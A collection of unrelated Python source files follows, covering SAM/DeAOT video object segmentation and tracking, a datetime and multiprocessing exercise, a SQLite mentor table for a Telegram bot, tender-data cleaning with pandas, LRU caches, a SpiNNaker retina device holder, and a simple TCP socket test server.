# from scipy.ndimage import binary_dilation
# from test_SegTracker import SegTracker

# 获取视频首帧
# 输入：源视频
# 返回：outputs=[input_video_first_frame, origin_frame, drawing_board]
def get_meta_from_video(input_video):
    print("get meta information of input video")
    cap = cv2.VideoCapture(input_video)
    fps = cap.get(cv2.CAP_PROP_FPS)
    num_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
    _, first_frame = cap.read()

    cap.release()

    first_frame = cv2.cvtColor(first_frame, cv2.COLOR_BGR2RGB)

    return first_frame, first_frame, first_frame

# 初始化SegTracker
# 输入：aot_model = "r50-deaotl", sam_gap, max_obj_num, points_per_side, origin_frame
# 输出：outputs =[Seg_Tracker, input_video_first_frame, click_state]
def init_SegTracker(aot_model, sam_gap, max_obj_num, points_per_side, origin_frame):
    if origin_frame is None:
        return None, origin_frame, [[], []]

    # reset aot args
    aot_args["model"] = aot_model
    # aot_args["model_path"] = aot_model2ckpt[aot_model]
    aot_args["model_path"] = "./ckpt/R50_DeAOTL_PRE_YTB_DAV.pth"

    # reset sam args
    segtracker_args["sam_gap"] = sam_gap
    segtracker_args["max_obj_num"] = max_obj_num
    segtracker_args["min_new_obj_iou"] = 0.2
    sam_args["generator_args"]["points_per_side"] = points_per_side

    Seg_Tracker = SegTracker(segtracker_args, sam_args, aot_args)
    Seg_Tracker.restart_tracker()
    return Seg_Tracker, origin_frame, [[], []]

# from test_seg_track_anything import draw_mask
from seg_track_anything import draw_mask
# 使用SAM分割首帧的全部目标
# 输入：Seg_Tracker, aot_model, origin_frame, sam_gap, max_obj_num, points_per_sid
# 输出：outputs=[Seg_Tracker,input_video_first_frame]
def segment_everything(Seg_Tracker, aot_model, origin_frame, sam_gap, max_obj_num, points_per_side):
    if Seg_Tracker is None:
        Seg_Tracker, _, _ = init_SegTracker(aot_model, sam_gap, max_obj_num, points_per_side, origin_frame)

    frame_idx = 0

    with torch.cuda.amp.autocast():
        pred_mask = Seg_Tracker.seg(origin_frame)
        torch.cuda.empty_cache()
        # gc.collect()
        Seg_Tracker.add_reference(origin_frame, pred_mask, frame_idx)

        masked_frame = draw_mask(origin_frame.copy(), pred_mask)
        # masked_frame = (origin_frame*0.3+colorize_mask(pred_mask)*0.7).astype(np.uint8)

    return Seg_Tracker, masked_frame

# 鼠标交互函数
# 输入：
# 输出：
def interact_point(input_video_first_frame):
    # current_index = 0
    # cv2.setMouseCallback("image", mouse_click)
    input_point = []
    input_label = []
    # input_stop = False

    image_display = input_video_first_frame.copy()
    display_info = f'test.mp4 \n' \
                   f'| Press s to save | Press w to predict | Press d to next image | Press a to previous image \n' \
                   f'| Press space to clear | Press q to remove last point '

    y0, dy = 20, 30
    for i, txt in enumerate(display_info.split('\n')):
        y = y0 + i * dy
        cv2.putText(image_display, txt, (10, y), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 255, 255), 2, cv2.LINE_AA)

# convert points input to prompt state
def get_prompt(input_point, input_label):
    # cv2.namedWindow("image")
    # cv2.setMouseCallback("image", mouse_click)
    # input_point = [[666, 468], [693, 541], [647, 515], [662, 510], [655, 457]]
    # input_label = [1, 0, 0, 0, 1]

    prompt = {
        "prompt_type": ["click"],
        "input_point": input_point,
        "input_label": input_label,
        "multimask_output": "True",
    }
    return prompt

# from test_SegTracker import SegTracker
from SegTracker import SegTracker
def refine_acc_prompt(Seg_Tracker, prompt, origin_frame):
    # Refine acc to prompt
    predicted_mask, masked_frame = Seg_Tracker.refine_first_frame_click(
                                                      origin_frame=origin_frame,
                                                      points=np.array(prompt["input_point"]),
                                                      labels=np.array(prompt["input_label"]),
                                                      multimask=prompt["multimask_output"],
                                                    )

    with torch.cuda.amp.autocast():
        # Reset the first frame's mask
        frame_idx = 0
        Seg_Tracker.restart_tracker()
        Seg_Tracker.add_reference(origin_frame, predicted_mask, frame_idx)

    return masked_frame

# 交互式点选分割图像
# 输入：Seg_Tracker, origin_frame, point_prompt, click_state, aot_model, sam_gap, max_obj_num, points_per_side
# 输出：outputs=[Seg_Tracker, input_video_first_frame, click_state]
def sam_refine(Seg_Tracker, origin_frame, click_state, aot_model, sam_gap, max_obj_num, points_per_side, input_point, input_label):
    '''
    Args:
        template_frame: PIL.Image
        point_prompt: flag for positive or negative button click
        click_state: [[points], [labels]]
    '''

    if Seg_Tracker is None:
        Seg_Tracker, _, _ = init_SegTracker(aot_model, sam_gap, max_obj_num, points_per_side, origin_frame)

    # prompt for sam model
    prompt = get_prompt(input_point, input_label)
    print(prompt)

    # Refine acc to prompt
    masked_frame = refine_acc_prompt(Seg_Tracker, prompt, origin_frame)

    return Seg_Tracker, masked_frame, click_state

from seg_track_anything import tracking_objects_in_video
# 跟踪视频目标
# 输入：Seg_Tracker, input_video
# 输出：outputs=[output_video, output_mask]
def tracking_objects(Seg_Tracker, input_video):
    return tracking_objects_in_video(Seg_Tracker, input_video)

# 主函数：用于分割跟踪目标
# 输入：视频
def seg_track(input_point, input_label, input_video):
    import argparse, os
    parser = argparse.ArgumentParser()

    parser.add_argument('--vid', default=f'{os.path.join(os.path.abspath(__file__))}/../input/test.mp4',
                        help="test video dir OR put test video into this dir.")
    parser.add_argument('--output', default=f'{os.path.join(os.path.abspath(__file__))}/../results/test_out.mp4',
                        help="output test video dir.")
    parser.add_argument('--sam_gap', '--gap', default=999, type=int, help="Gap counts between frames.")
    parser.add_argument('--max_obj_num', default=1, type=int, help="Max object number.")
    parser.add_argument('--points_per_sid', default=50, type=int, help="Points per side.")
    parser.add_argument('--aot_model', default="r50_deaotl", help="Aot model: DeAOT.")
    parser.add_argument('--ckpt_aot', default=f'{os.path.join(os.path.abspath(__file__), "ckpt")}'
                                              f'/R50_DeAOTL_PRE_YTB_DAV.pth', help="AOT model CKPT dir.")
    parser.add_argument('--ckpt_sam', default=f'{os.path.join(os.path.abspath(__file__), "ckpt")}'
                                              f'/sam_vit_b_01ec64.pth', help="SAM model CKPT dir.")

    args = parser.parse_args()

    # 初始化参数
    input_video = input_video
    aot_model = args.aot_model
    sam_gap = args.sam_gap
    max_obj_num = args.max_obj_num
    points_per_side = args.points_per_sid
    # 输入视频首帧，用于点选分割
    input_video_first_frame, origin_frame, drawing_board = get_meta_from_video(input_video)
    # 初始化SAM分割
    Seg_Tracker, input_video_first_frame, click_state = \
        init_SegTracker(aot_model, sam_gap, max_obj_num, points_per_side, origin_frame)
    # _ = Seg_Tracker.to(device="cuda")

    # predictor = SamPredictor(sam)

    interact_point(input_video_first_frame)
    # 采用sam进行局部分割
    Seg_Tracker, masked_frame, click_state = sam_refine(Seg_Tracker, origin_frame, click_state, aot_model, sam_gap,
                                                        max_obj_num, points_per_side, input_point, input_label)
    # 采用SAM分割全部
    # Seg_Tracker, masked_frame = segment_everything(Seg_Tracker, aot_model, origin_frame, sam_gap, max_obj_num, points_per_side)

    output_video, output_mask = tracking_objects(Seg_Tracker, input_video)

"""
if __name__ == "__main__":
    input_point = [[666, 468], [693, 541], [647, 515], [662, 510], [655, 457]]
    input_label = [1, 0, 0, 0, 1]
    seg_track(input_point, input_label)
"""


import datetime
import os
from multiprocessing import Process
import time
import random

# for processes to work correctly, finction has to be defined outside the main
# or imported from different file.
# define function for multiprocessing
def print_time():
    wait_time = random.choice(range(1, 5))
    time.sleep(wait_time)
    print(f"Wait time: ", wait_time, " seconds. Current time:", time.ctime())

if __name__ == '__main__':

    ### 1 ###
    today = datetime.date.today()
    with open("today.txt", 'w') as f:
        f.write(str(today))
    # ### ###

    # ### 2 ###
    with open("today.txt", 'r') as f:
        today_string = f.read()
    # ### ###

    # ### 3 ###
    parsed_date = datetime.date.fromisoformat(today_string)
    print("Parsed date object: ", parsed_date)
    # ### ###

    # ### 4 ###
    curr_dir = os.listdir('.')
    print("current directory: ", curr_dir)
    # # ### ###

    # # ### 5 ###
    parent_dir = os.listdir('..')
    print("parent directory: ", parent_dir)
    # ### ###

    ### 6 ###

    process1 = Process(target=print_time)
    process2 = Process(target=print_time)
    process3 = Process(target=print_time)

    process1.start()
    process2.start()
    process3.start()
    # wait untill 3 processes are done
    process1.join()
    process2.join()
    process3.join()
    print("Processes are done!")
    ### ###

    ### 7 ###
    dob = datetime.datetime(1986, 11, 24)
    print("Date of Birth: ", dob)
    # ### ###

    # ### 8 ###
    print("Day of the week: ", dob.strftime('%A'))
    # ### ###

    # ### 9 ###
    ten_thousand_days_old = dob + datetime.timedelta(days=10000)
    print("10,000 years old was: ", ten_thousand_days_old)
    ### ###

python_basic_assignmemt/Assignment_21/assignment 21 datetime and files/datetime_files.py


import sqlite3
from config import bot2
import random

def sql_create() -> object:
    global db, cursor
    db = sqlite3.connect("bot.sqlite3")
    "="
    cursor = db.cursor()
    if db:
        print("База данных подключена!")

    db.execute("CREATE TABLE IF NOT EXISTS mentors "
               "(id INTEGER PRIMARY KEY AUTOINCREMENT, "
               "idm VARCHAR (255), "
               "name VARCHAR (255), "
               "dir VARCHAR (255), "
               "age INTEGER, "
               "groupm VARCHAR (255))")
    db.commit()

async def sql_command_insert(state):
    async with state.proxy() as data:
        cursor.execute("INSERT INTO mentors(idm, name, dir, age, groupm) VALUES"
                       " (?, ?, ?, ?, ?)", tuple(data.values()))
        db.commit()

async def sql_command_random(message):
    result = cursor.execute("SELECT * FROM mentors").fetchall()
    rand_ment = random.choice(result)
    await bot2.send_message(message.from_user.id,
        text=f"ID: {rand_ment[1]},\n"
             f"Name: {rand_ment[2]},\n"
             f"Direction: {rand_ment[3]},\n"
             f"Age:{rand_ment[4]},\n"
             f"Group:{rand_ment[5]}"
            )

async def sql_command_all():
    return cursor.execute("SELECT * FROM mentors").fetchall()

async def sql_command_delete(user_id):
    cursor.execute("DELETE FROM mentors WHERE id = ?", (user_id,))
    db.commit()


# -*- coding: utf-8 -*-
"""
Created on Wed Apr  4 19:20:26 2018

@author: Nan
"""

import pandas as pd
import matplotlib.pyplot as plt

class Client:

    upload_Dataframe = pd.DataFrame()
    cleaned_Dataframe = pd.DataFrame()
    listOfFields = []
    listOfSelection = []
    filename = ''
    pointer='wait'
    output = ''

    # communication module which acquires input orders
    def comm_module(self):
        self.output = 'Welcome to the Tender database visualisation system!'

            # actually use the local file to make DA

    # comm_pointer
    def comm_pointer(self,index=0):
        if index == 1:
            self.pointer = 'Quit'
        elif index == 2:
            self.pointer = 'upload file'
        elif index == 3:
            self.pointer = 'fields selection'
        elif index == 0:
            self.pointer = 'wait'

    # Upload function
    def upload_file(self,upload_file):
        while True:
            try:
                self.upload_Dataframe = pd.read_csv(upload_file,low_memory=False)
                self.listOfFields = list(self.upload_Dataframe)
                self.data_cleansing()
                self.output = 'Pass'
                break
            except FileNotFoundError:
                self.output = "File Not Found!"
            except SyntaxError:
                self.output = "SyntaxError, file path should be C:/Users/data.csv"

    # data cleansing -- handling missing value
    def data_cleansing(self):
        df = self.upload_Dataframe
        # searching for missing values in columns
        nan_col_any = df.isnull().any()  # for any column that includes Nan
        nan_col_all = df.isnull().all()  # for any column that all value is Nan
        # extract the list of Nan included columns
        nan_features_any = pd.Series(list(nan_col_any[nan_col_any == True].index))
        # eatract the list of all Nan columns
        nan_features_all = pd.Series(list(nan_col_all[nan_col_all == True].index))
        # if exist entire Nan values columns
        if nan_features_all.empty != True:
            for each in nan_features_all:
                df.drop(each, axis=1, inplace=True)  # delete entire column without reassign to df

        # for Nan value included columns, implement data cleansing(fillna method)
        if nan_features_any.empty != True:
            for features in nan_features_any:
                if features == 'Parent Contract ID':
                    df.loc[:, features] = df.loc[:, features].fillna('None')
                elif features == 'Amendment Date':
                    df.loc[:, features] = df.loc[:, features].fillna('Not Amended')
                elif features == 'Description':
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Agency Ref ID':
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'UNSPSC Title':
                    list_of_nan = []
                    for index in range(df.shape[0]):
                        if type(df.loc[index, features]) != str:
                            list_of_nan.append(
                                index)  # acquire a list contain all index of Nan value in the Title column
                    nan_UNSPSC_Code = []
                    for each in list_of_nan:
                        nan_UNSPSC_Code.append(df.loc[each, 'UNSPSC Code'])
                    nan_UNSPSC_Code = list(
                        map(str, nan_UNSPSC_Code))  # get the corresponding value in UNSPSC Code
                    for index in range(len(list_of_nan)):
                        # use UNSPSC ID to replace the Nan Value
                        df.loc[list_of_nan[index], features] = nan_UNSPSC_Code[index]
                #                        print(df.loc[list_of_nan[index],[features,'UNSPSC Code']])
                elif features == 'ATM ID':
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'SON ID':
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Panel Arrangement':  # value str [Yes/No]
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Confidentiality Contract Flag':  # value str [No]
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Confidentiality Contract Reason':  # value str
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Confidentiality Outputs Flag':  # value str [No]
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Confidentiality Outputs Reason':  # value str
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Consultancy Flag':  # value str [Yes/No]
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Consultancy Reason':  # value str [ex:Skills currently unavailable within agency]
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Amendment Reason':  # value str [ex:Contract value increased from $932,144.50]
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Supplier Address':  # value str
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Supplier Suburb':  # value str
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Supplier Postcode':  # value str like numbers
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Supplier ABN':  # value float [79097795125.0]
                    df.loc[:, features] = df.loc[:, features].fillna(float(0))  # use 0.0 replace Nan in this field
                elif features == 'Contact Phone':  # value str like num
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Branch':  # value str
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Division':  # value str
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
                elif features == 'Office Postcode':  # vlaue str like numbers
                    df.loc[:, features] = df.loc[:, features].fillna('N/A')
            self.cleaned_Dataframe = df

    def fields_selection(self,questions=0):

        # based on the question, distribute corresponding index to each question
        if questions == 0:
            self.listOfSelection = ['Agency Name']
        elif questions == 1:  # How much funding is available in the target categories? (Total, by category, over time)
            self.listOfSelection = ['Value', 'UNSPSC Title']
        elif questions == 2:  # question 2
            self.listOfSelection = []
        else:
            self.listOfSelection = []

    # Return the list of agency name with target category
    # def category_agency(self, category_name):
    #     listAgency = self.catByAgency.get(category_name)
    #     return listAgency

    # **********************************************************************

if __name__ == '__main__':
    c = Client()
    from Server import Server
    s = Server()
    c.upload_file("/Users/NAN/Desktop/Qt Project/All_data.csv")
    # question 1
    df = s.visual_q2(c.cleaned_Dataframe) # total included in rows which records sum value of a category
    df_sum = df[df['Agency Name']=='Total']
    df_sum['Value'].plot(kind='barh')


'''
Created on 2018年6月25日

缓存常用淘汰算法之一：LRU（least recently used 最近最少使用）算法根据数据的历史访问记录来进行淘汰数据，其核心思想是：如果数据最近被访问过，那么将来被访问的几率也更高。
当存在热点数据时，LRU的效率很好，但偶发性的、周期性的批量操作会导致LRU命中率急剧下降，缓存污染情况比较严重。

@author: zwustudy
'''
import collections

class LRUCache(collections.OrderedDict):

    def __init__(self, size=5):
        self.size = size
        self.cache = collections.OrderedDict()

    def get(self, key):

        if self.cache.__contains__(key):
            value = self.cache.pop(key)  #新访问了缓存，因此缓存需要移到最新的位置
            self.cache[key] = value
            return value
        else:
            return None

    def set(self, key, value):

        if self.cache.__contains__(key):
            self.cache.pop(key)  #新访问了缓存，因此缓存需要移到最新的位置
        elif len(self.cache) >= self.size:
            self.cache.popitem(last = False)
        self.cache[key] = value

class LRUCache1(object):

    def __init__(self, size = 5):
        self.size = size
        self.cache = dict()
        self.keyset = list()

    def get(self, key):
        if self.cache.__contains__(key):
            self.keyset.remove(key)  #新访问了缓存，因此缓存需要移到最新的位置
            self.keyset.insert(0, key)
            return self.cache.get(key)
        else:
            return None

    def set(self, key, value):
        if self.cache.__contains__(key):
            self.keyset.remove(key) #原来的key移除，好让后面把key的位置移到最新访问
        elif len(self.cache) >= self.size:
            removeKey = self.keyset.pop() #移除最近最少访问的缓存，给新缓存让个位置
            self.cache.pop(removeKey)
        self.keyset.insert(0, key)
        self.cache[key] = value

def main():
    cache = LRUCache1(5)
    for i in range(0, 6, 1):
        if i == 3:
            cache.set("key0", 0) #本来最早的缓存key是 key0,但是这里更新了之后，最早更新的就是key1，key1的缓存应该被淘汰
        cache.set("key" + str(i), i)

    for i in range(0, 7, 1):
        key = "key" + str(i)
        print(key + ":" + str(cache.get(key)))

if __name__ == "__main__":
    main()


from spynnaker8.utilities import DataHolder
from spynnaker.pyNN.external_devices_models import MunichRetinaDevice

class MunichRetinaDeviceDataHolder(DataHolder):
    def __init__(
            self, retina_key, spinnaker_link_id, position,
            label=MunichRetinaDevice.default_parameters['label'],
            polarity=MunichRetinaDevice.default_parameters['polarity'],
            board_address=MunichRetinaDevice.default_parameters[
                'board_address']):
        # pylint: disable=too-many-arguments
        super(MunichRetinaDeviceDataHolder, self).__init__({
            'board_address': board_address,
            'label': label,
            'polarity': polarity,
            'position': position,
            'retina_key': retina_key,
            'spinnaker_link_id': spinnaker_link_id})

    @staticmethod
    def build_model():
        return MunichRetinaDevice


import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 7777))
s.listen(1)

conn, addr = s.accept()
print ('IP conectado:', addr)
i = 0
while True:
    conn.send(bytes([0x87]))
    time.sleep(0.1)
    conn.send(bytes([0xe0]))
    time.sleep(0.1)
    conn.send(bytes([0x81]))
    time.sleep(0.1)
    conn.send(bytes([0x60]))
    bits = int.from_bytes(conn.recv(2000), 'little')
    print('Valor', i, 'Recebido:', bits)
    print('Zeros:', bits % 256)
    print('Uns:' , (bits//256) % 256)
    time.sleep(1)
    i += 1
conn.close()